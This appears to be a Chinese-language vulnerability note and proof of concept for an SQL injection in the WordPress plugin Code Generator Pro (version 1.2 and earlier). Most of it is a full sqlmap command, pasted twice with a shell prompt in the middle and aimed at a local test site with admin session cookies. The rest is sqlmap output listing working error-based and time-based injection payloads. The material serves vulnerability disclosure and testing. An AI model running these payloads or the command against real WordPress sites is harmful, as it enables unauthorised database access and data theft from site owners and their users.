Code Generator Pro <= 1.2 - 未认证 SQL 注入
WordPress 的 Code Generator Pro 插件在 1.2 及更早版本中存在 SQL 注入漏洞，原因是对用户提供的参数转义不足，且对现有 SQL 查询缺乏充分的预处理。这使得未经认证的攻击者可以将额外的 SQL 查询追加到已有查询中，从而提取数据库中的敏感信息。
PoC 需要认证，但我认为存在漏洞的其实是另一个端点。怀疑是 code-generator-pro/style.php，但还没有时间进行设置。
sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%(base) Roberts-MBP:~ rwiggins$ python3 /Users/rwiggins/tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/wp-admin/admin.php?page=code_generator_add_code&noheader=true' --data='code_generator_add_code_code=test&code_generator_add_code_password=test&code_generator_add_code_url%5B%5D=test'\''&code_generator_add_code_url%5B%5D=te&code_generator_add_code_add=Add' --level=3 --risk=3 --dbms='MySQL ' --cookie='wordpress_sec_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C16d4ec708b7ed41e7bd3b130c8238d981e31999e942540ce1e1ceac1131838f0;sbjs_migrations=1418474375998%3D1;sbjs_current_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_first_add=fd%3D2025-01-02%2011%3A03%3A41%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F%7C%7C%7Crf%3D%28none%29;sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29;sbjs_udata=vst%3D2%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A133.0%29%20Gecko%2F20100101%20Firefox%2F133.0;user_age_data=YWdlX3ZlcmlmaWNhdGlvbl9wbHVnaW4=;wordpress_test_cookie=WP%20Cookie%20check;sbjs_session=pgs%3D1%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F;wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=superadmin%7C1735995922%7C95bZ3CaSOfNPHbJ45ApFJLKCzbx9MaCGZ1PD8STtBQ7%7C7c28d70808d0a70bb28aeca97ec259a3f3b0aeb7cc0c4e535576999fd5dba9d1'
sqlmap identified the following injection point(s) with a total of 1490 HTTP(s) requests:
---
Parameter: Array-like #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: code_generator_add_code_code=test'||(SELECT 0x55704c57 WHERE 1247=1247 AND (SELECT 7738 FROM(SELECT COUNT(*),CONCAT(0x71706b7a71,(SELECT (ELT(7738=7738,1))),0x716a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: code_generator_add_code_code=test'||(SELECT 0x52696578 WHERE 7877=7877 AND (SELECT 8438 FROM (SELECT(SLEEP(5)))DAxL))||'&code_generator_add_code_password=test&code_generator_add_code_url[]=test'&code_generator_add_code_url[]=te&code_generator_add_code_add=Add
---
[13:24:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0 (MariaDB fork)